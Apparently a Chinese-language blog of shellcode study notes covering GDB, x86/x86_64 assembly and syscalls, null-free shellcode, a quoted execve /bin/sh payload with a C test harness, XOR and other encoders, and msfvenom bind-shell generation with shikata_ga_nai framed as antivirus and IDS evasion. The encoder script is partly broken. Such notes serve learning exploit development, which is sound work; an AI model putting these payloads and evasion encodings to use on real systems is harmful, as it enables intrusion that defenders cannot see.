Shellcode学习笔记

GDB的使用


b main
delete 1 # 断点编号
delete *0x12345678 # 断点地址

r aaa # 提交参数aaa
ni # 不进入子函数
si # 会进入子函数
n #源代码级别的
s
c #到下一个断点

info fun
info b
info reg
info all-reg
info proc mappings # 用于在 GDB 中查看当前正在调试的进程的内存映射信息。
info var

display /x $eax #持续,每次程序停止时自动显示该值
x/10x $eax # 以十六进制格式显示 $eax 寄存器中的内容,并显示它后面的 10 个地址单元的内容。
x/s 0x11111111 # 字符串
x/d
x/xw # 注意是4字节
p $eflags # print $eflags

disas #或disassemble
disas main

set disassembly-flavor intel # 设置为 Intel 语法
set disassembly-flavor att # 设置为 AT&T 语法


shell readelf -h test # 查看一个文件的ELF头部信息,-a查全部

define hook-stop # 定义程序停止时执行的命令

虚拟内存

Image

进程

ps # 命令显示当前系统中正在运行的进程信息
    # 包括每个进程的进程号(PID)、终端号(TTY)、运行时间以及命令名称(CMD)

cat /proc/cpuinfo

cat /proc/70331/maps
# 每行格式如下
# address    perms offset  dev   inode   pathname
# 5639c6e5c000-5639c6e73000 r--p 00000000 08:05 917627      /usr/bin/zsh
# address:内存区域的起始地址和结束地址,以十六进制表示。
# perms:内存区域的权限标志,表示该区域的访问权限。常见的权限标志包括:
# r:可读
# w:可写
# x:可执行
# p:私有,即该区域是进程私有的,不与其他进程共享
# s:共享,即该区域是与其他进程共享的
# offset:该内存区域在文件中的偏移量,如果不是从文件映射而来,则为 0。
# dev:文件所在的设备号。
# inode:文件的索引节点号,如果不是从文件映射而来,则为 0。
# pathname:文件的路径名,如果不是从文件映射而来,则为一个空字符串或 [stack]、[heap] 等特殊标记。
pmap -d 70331

compile.sh编译链接

#!/bin/zsh
echo '[+] Assembling with Nasm ...'
nasm -f elf64 -o $1.o $1.nasm
echo '[+] Linking ...'
ld -o $1 $1.o
echo '[+]Done!'

Hello World!

global _start
section .text
_start:
mov eax,0x4
mov ebx,0x1
mov ecx,message
mov edx,mlen
int 0x80
mov eax,0x1
mov ebx,0x5
int 0x80
section .data
message: db "Hello world!"
mlen equ $-message

eax 寄存器:存储系统调用号。
ebx 寄存器:存储第一个参数。
ecx 寄存器:存储第二个参数。
edx 寄存器:存储第三个参数。
esi 寄存器:存储第四个参数。
edi 寄存器:存储第五个参数。
超过5个栈传递
下面改成x86_64的

  1. ax是系统调用号,从/usr/include/x86_64-linux-gnu/asm/unistd_64.h看到write对应1号
Image
  1. man 2 write用于查看 Linux 系统调用 write 的手册页(manual)。在 Linux 的手册页中,系统调用通常被分为不同的节(sections),而 write 是位于第 2 节(System Calls)中的一个系统调用。如果不知道在哪一节,man -k writeapropos write能查看所有。
Image
#include <unistd.h>
    ssize_t write(int fd, const void *buf, size_t count);
  1. 参数

rax 寄存器:存储系统调用号。
rdi 寄存器:存储第一个参数。
rsi 寄存器:存储第二个参数。
rdx 寄存器:存储第三个参数。
r10 寄存器:存储第四个参数。
r8 寄存器:存储第五个参数。
r9 寄存器:存储第六个参数。
超过6个栈传递

section .data
    message db "Hello world!", 0xA
    mlen equ $ - message

section .text
    global _start

_start:
    ; 输出字符串到标准输出(stdout)
    mov rax, 1                  ; syscall number for sys_write
    mov rdi, 1                  ; file descriptor 1 (stdout)
    mov rsi, message            ; pointer to the message
    mov rdx, mlen               ; message length
    syscall                     ; invoke syscall

    ; 退出程序
    mov rax, 60                 ; syscall number for sys_exit
    xor rdi, rdi                ; exit code 0
    syscall                     ; invoke syscall

汇编语言

quad word - 64 bits
double quad word - 128 bits

dd 1.234567e20 ;floating-point constant
dq 1.234567e20 ;double-precision float
dt 1.234567e20 ;extended-precision float(ten bytes10个字节)
buffer: resb 64 ;reserve 64 bytes
worvar: resw 1 ;reserve a word 数字表示length不是size
zerobuf: times 64 db 0 ;(和db 64 dup(0)差不多)
times 100 movsb ;movsb将单个字节从源地址复制到目标地址,并递增源和目标指针。

cqto ;用于 64 位环境(long mode)RAX->RDX:RAX。
cltd ;32 位环境(32-bit protected mode)EAX->EDX:EAX
cbw
cwd

用于 32 位环境(32-bit protected mode),操作数为 EAX 寄存器。
 EAX 寄存器中的有符号字(16 位)扩展为 EDX:EAX 寄存器对中的有符号双字(32 位)。
例如,将 EAX 中的 16 位有符号整数值扩展到 EDX:EAX 中。

TF (Trap Flag):陷阱标志位,用于单步调试。 IF (Interrupt Enable Flag):中断允许标志位,指示是否允许中断。
DF (Direction Flag):方向标志位,影响字符串处理指令的方向。0递增1递减
IOPL (I/O Privilege Level):I/O 特权级别,两位,用于控制 I/O 操作的权限。
NT (Nested Task Flag):嵌套任务标志位,用于指示处理器是否处于嵌套任务模式。
RF (Resume Flag):恢复标志位,在特定情况下用于控制处理器的操作。
VM (Virtual Mode Flag):虚拟模式标志位,指示处理器是否运行在虚拟模式下。
AC (Alignment Check Flag):对齐检查标志位,在一些内存访问操作中用于检查地址的对齐情况。
VIF (Virtual Interrupt Flag):虚拟中断标志位,用于虚拟化环境中的中断处理。
VIP (Virtual Interrupt Pending):虚拟中断挂起标志位,指示虚拟中断是否挂起。
ID (Identification Flag):标识标志位,指示处理器是否支持 CPUID 指令。

无符号数高一半为0,有符号数高一半是第一半符号扩展:OF=CF=0(否则CF=OF=1)


pushad ;将所有通用寄存器的值依次压入栈中,包括 eax、ecx、edx、ebx、esp、ebp、esi 和 edi。
pushfd ;将标志寄存器 eflags 的值压入栈中。

push ebp
mov ebp,esp

leave
;mov esp,ebp
;pop ebp

字符串

cld ;DF清零
std ;DF设置为1
movs ;或movsb,movs 指令将 ds:[esi] 处的数据复制到 es:[edi] 处,然后根据方向标志位(DF)的设置,递增或递减 esi 和 edi 寄存器的值,以便下一次复制操作。这个过程会重复执行,直到 cx 寄存器的值变为 0 或者直到遇到重复前缀 rep。
movsw
movsd
;b,w,d下同
cmps
scas ;如果 scas 指令在字符串中找到了与 al 寄存器相等的字符,则 ZF 标志位会被设置为 1。
lods ;将 ds:[esi]处的字节加载到 al 寄存器中

scas的一个例子

mov edi, destination_address   ; 设置目的地址
mov al, search_value           ; 设置要搜索的值
mov ecx, length                ; 设置要比较的数据的数量
rep scasb                      ; 从目的地址开始扫描字符串,查找与 AL 寄存器中的值相等的字符
repz ;类比loop与loopz
repe 

在 x86 架构的汇编语言中,计数器的名称取决于当前使用的操作模式。
16 位模式下: 在 16 位实模式或保护模式下,计数器的名称是 cx,它是 16 位的。这意味着它可以存储 16 位的值,范围是 0 到 65535。
32 位模式下: 在 32 位保护模式下,计数器的名称是 ecx,它是 32 位的。这意味着它可以存储 32 位的值,范围是 0 到 4294967295。

调用libc的函数

  1. extern
  2. 调用函数fun(a,b,c,d),要依次push d~a
  3. 平衡栈
  4. 用GCC链接而非LD -> 用mian而非_start

示例

extern printf
extern exit

global main

section .text
main:
	push  message
	call printf
	add esp,0x4 ;
	mov eax,0xa
	call exit
section .data
	message: db "Hello world!",0xA,0x00  ;0xa换行 0x00 null字节 字符串结尾
	mlen equ $-message

compile.sh(仅ld变成gcc)

#!/bin/zsh
echo '[+]Assembling with Nasm ...'
nasm -f elf32 -o $1.o $1.nasm
echo '[+]Linking ...'
gcc -o $1 $1.o
echo '[+]Done!'

shellcode基础

exploit的一部分-size越小越好,避免0x00 加入可执行文件-独立线程,替换可执行文件功能,无需关心size

资源
http://www.shell-storm.org
http://exploit-db.com
http://www.projectshellcode.com

基本用法如下:

#include<stdio.h>
#include<string.h>
unsigned char code[] = "Shellcode"; //“Shellcode”处换成机器码
void main()
{
 printf("Shellcode length: %d\n",strlen(code));
 int (*ret)() = (int(*)())code;
 //定义一个函数指针ret,(int(*)())code是将code的类型转换为函数指针
 ret();
}
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode 
# 禁用栈溢保护,允许代码在堆栈上执行

启动shell

x86_64上的一个示例,来源 https://shell-storm.org/shellcode/files/shellcode-106.html

#include<stdio.h>
#include<string.h>
const char code[] =
        "\x48\x31\xc0"                               // xor    %rax,%rax
        "\x99"                                       // cltd
        "\xb0\x3b"                                   // mov    $0x3b,%al
        "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68"   // mov $0x68732f6e69622fff,%rdi
        "\x48\xc1\xef\x08"                           // shr    $0x8,%rdi
        "\x57"                                       // push   %rdi
        "\x48\x89\xe7"                               // mov    %rsp,%rdi
        "\x57"                                       // push   %rdi
        "\x52"                                       // push   %rdx
        "\x48\x89\xe6"                               // mov    %rsp,%rsi
        "\x0f\x05";                                  // syscall
void main()
{
 printf("Shellcode length: %ld\n",strlen(code));
 int (*ret)() = (int(*)())code;
 ret();
}

退出-用xor避免mov时的0x00

  1. 汇编文件
global _start

_start:
    mov rax, 60         ; syscall number for exit
    mov edi, 10         ; exit status (10 for example)
    syscall             ; invoke syscall
  1. 编译执行检查
  2. objdump -d -M intel exit对exit文件以Intel格式反汇编
  3. shellcode就是显示的机器码,复制到shellcode.c文件
  4. gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
  5. 执行shellcode后,echo $?查看最后退出的状态码,预期为10
  6. 注意到shellcode有很多\x00这导致字符串错误截断,可能导致错误,以下方式可避免 用cp a b把a复制到b
global _start

section .text
_start:
    xor rax, rax      ; 将 rax 清零
    mov al, 60        ; 将 60 存入 rax 中,即 syscall number for exit
    xor rdi, rdi      ; 清空 rdi 寄存器
    mov dil, 10       ; 将 10 存入 dil 中,即 exit status
    syscall           ; 调用系统调用

(也可以先mov相反数,再neg) (此外mov eax, [eax]也会有0x00,换个寄存器就行) 8. 获得格式化的 shellcodehttp://www.commandlinefu.com/commands/view/6501/get-all-shellcode-on-binary-file-from-objdump

objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

objdump -d ./PROGRAM:使用 objdump 命令反汇编指定的程序文件,生成反汇编代码。
grep ‘[0-9a-f]:’:使用 grep 过滤出包含十六进制地址的行。
grep -v ‘file’:使用 grep 过滤掉包含 “file” 字符串的行。
cut -f2 -d::使用 cut 命令提取出每行的第二个字段,即反汇编指令部分。
cut -f1-6 -d’ ‘:使用 cut 命令提取出每行的前 6 个字段,即每条指令的十六进制机器码。
tr -s ’ ‘:使用 tr 命令将多个空格字符压缩成一个空格字符。
tr ‘\t’ ’ ‘:使用 tr 命令将制表符替换为空格字符。
sed ’s/ $//g’:使用 sed 命令去除行末的空格字符。
sed ’s/ /\x/g’:使用 sed 命令将空格字符替换为 “\x”,这是 shellcode 格式的一部分。
paste -d ’’ -s:使用 paste 命令将每行的机器码拼接成一行。
sed ’s/^/"/’:使用 sed 命令在每行开头添加双引号。
sed ’s/$/"/g’:使用 sed 命令在每行末尾添加双引号。

hello world -> jmp-call-pop

mov rsi, message指令中message的地址可能有0x00,改进的基本格式如下:

    jmp short call_2
call_1:
	pop rax
call_2:
    call call_1
    message db "Hello world!", 0xA

错误案例:

section .text
    global _start

_start:

    ; 输出字符串到标准输出(stdout)
    
    mov rdi, -1                  ; file descriptor 1 (stdout)
    neg rdi

    mov rdx, -mlen               ; message length
    neg rdx
    jmp short call_2
call_1:
	pop rsi
    mov rax, -1                  ; syscall number for sys_write
    neg rax
    syscall                     ; invoke syscall

    ; 退出程序
    mov rax, -60                 ; syscall number for sys_exit
    neg rax
    xor rdi, rdi                ; exit code 0
    syscall                     ; invoke syscall
call_2:
    call call_1
    message db "Hello world!", 0xA
    mlen equ $ - message

hello world -> stack

字符串顺序从低字节到高字节,结合栈的特点,要逆序push 获得字符串的16进制

code = 'Hello World!\n'
code = code[::-1].encode().hex()
print(code)

错误案例:

section .text
    global _start

_start:

    ; 输出字符串到标准输出(stdout)
    
    mov rdi, -1                  ; file descriptor 1 (stdout)
	neg rdi
    mov rdx, -12                ; message length
	neg rdx
	mov rax,0a0a0a0a0a646c72h
	push rax
	mov rax,6f57206f6c6c6548h    ; 将字符串推送到堆栈
	push rax
    mov rax, -1                  ; syscall number for sys_write
	neg rax
    
    mov rsi, rsp               ; 指向字符串的指针
    syscall                     ; invoke syscall

    ; 清理堆栈
    sub rsp, -16

    ; 退出程序
    mov rax, -60                 ; syscall number for sys_exit
	neg rax
    xor rdi, rdi                ; exit code 0
    syscall                     ; invoke syscall

execve -> jmp-call-pop

man execve查看此函数

#include <unistd.h>
int execve(const char *pathname, char *const argv[],char *const envp[]);
Image

execve -> stack

把字符串放到栈里即可

XOR encoder & decoder

思路:在本来的机器码的基础上逐字节异或0xAA,将新的机器码存到数组message里,逐个异或0xAA进行解码,利用jmp-call-pop方法得到数组位置,jmp到该位置即可 自定义的编码:

#!/usr/bin/python
import random
shellcode = ()
encoded = ""
encoded = ""
print("Encoded shellcode...")
for x in bytearray(shellcode):
encoded += '\\x'
encoded += '%02x' %x
encoded += '\\x%02x' % 0xAA
#encoded += '\\x%02x' random.randint(1,255)
encoded2 += '0x'
encoded2 += '%02x,' %x
encoded2 += '0x%02x' % 0xAA
#encoded2 += '0x%02x',%random.randint(1,255)
print(encoded)
print(encoded2)

metasploit’s encoders

msfvenom -l payloads | grep "linux/x86" # step1
# 列出所有可用的Linux/x86 Payload
echo -ne "\x32..\x80" | sudo msfencode -a x86 -t c -e x86/jmp_call_additive
# 指定jmp_call_additive编码器,并输出 C 语言格式的编码结果
echo -ne "\x32..\x80" | sudo msfencode -a x86 -t elf -e x86/shikata_ga_nai -c 10 > demo
# 编码10次,输出到demo

AV(Antivirus) IDS(Intrusion Detection System) AV and IDS Evasion Shikata_ga_nai 有时有用,但是自定义的未公开的更好

not encoder

取负数即可

insertion encoders

原始0x01,0x02,0x03 插入后0x01,0xaa,0x02,0xaa,0x03,0xaa

xor & mmx

;x86
;每次都能操作64位
movq mm0,qword [esi]
movq mm1,qword [edi]
pxor mm0,mm1
movq qword[esi],mm0
add esi,0x8

polymorphism

代码不一样,功能相同 思路:等价代换,垃圾指令 Image

分析shellcode

step1-4 gdb,ndisasm http://libemu.carnivore.it https://github.com/buffer/libemu

shell_bind_tcp

绑定(Bind)Shell:

绑定Shell是一种攻击者在受害者系统上启动并监听特定端口,等待另一方连接的一种攻击方式。 当攻击者的程序在受害者系统上以绑定模式运行时,它会监听指定端口,等待外部用户连接。一旦有用户连接到这个端口,它会建立一个与受害者系统之间的通信通道,使得攻击者可以通过这个通道执行命令、操控系统等操作。 绑定Shell通常用于内网渗透测试、横向移动以及远程控制受感染系统等攻击场景。 反向(Reverse)Shell:

反向Shell是一种攻击者在自己的机器上启动程序,以反向连接的方式与受害者系统建立连接的一种攻击方式。 在反向Shell攻击中,受害者系统上的恶意代码会尝试连接到攻击者的机器,并在成功连接后建立一个与攻击者之间的通信通道。通过这个通道,攻击者可以执行命令、控制受害者系统等操作。 反向Shell通常用于防火墙或入侵检测系统的规则限制了外部对内部系统的访问,或者受害者系统处于受控网络之后,无法直接访问。

msfvenom -p linux/x86/shell_bind_tcp -f raw | ndisasm -u - # step2
# 使用 msfvenom 生成一个 Linux x86 的 bind shell 的原始二进制格式的 payload,并使用 ndisasm 反汇编该二进制文件。

# https://www.doyler.net/security-not-included/libemu-installation
#在/home/pwn/Software/libemu/tools/sctest下:
msfvenom -p linux/x86/shell_bind_tcp -f raw | ./sctest -vvv -Ss 100000

msfvenom: 这是 Metasploit 框架提供的一个用于生成各种类型 payload(包括 shellcode)的工具。 -p linux/x86/shell_bind_tcp: 这个参数指定了要生成的 payload 类型。在这种情况下,linux/x86/shell_bind_tcp 表示生成一个绑定到 TCP 端口的反弹 shell 的 payload,适用于 Linux 平台的 x86 架构。 -f raw: 这个参数指定了输出格式为原始的二进制数据,而不是标准的 Metasploit 格式。 |: 这是 Linux 命令行中的管道操作符,它将 msfvenom 的输出发送到后面的命令中作为输入。 ./sctest: 这是要运行的 sctest 工具的路径。 -vvv: 这个参数指定了 sctest 工具的详细输出级别,-vvv 表示非常详细的输出,有助于调试和跟踪问题。 -Ss 100000: 这个参数指定了 sctest 工具对 shellcode 的测试设置。-S 参数表示开始测试,s 参数表示 shellcode,100000 参数指定了 shellcode 的大小为 100000 字节。

sudo msfvenom -p linux/x86/shell_bind_tcp -f raw | ./sctest -vvv -Ss 100000 -G Shell_bind_tcp.dot # step3
dot Shell_bind_tcp.dot -Tpng -o Shell_bind_tcp.png # step4

custom crypters

https://en.wikipedia.org/wiki/RC4

gcc rc4.c -o rc4
./rc4 securitytube-slae
Licensed under CC BY-NC-SA 4.0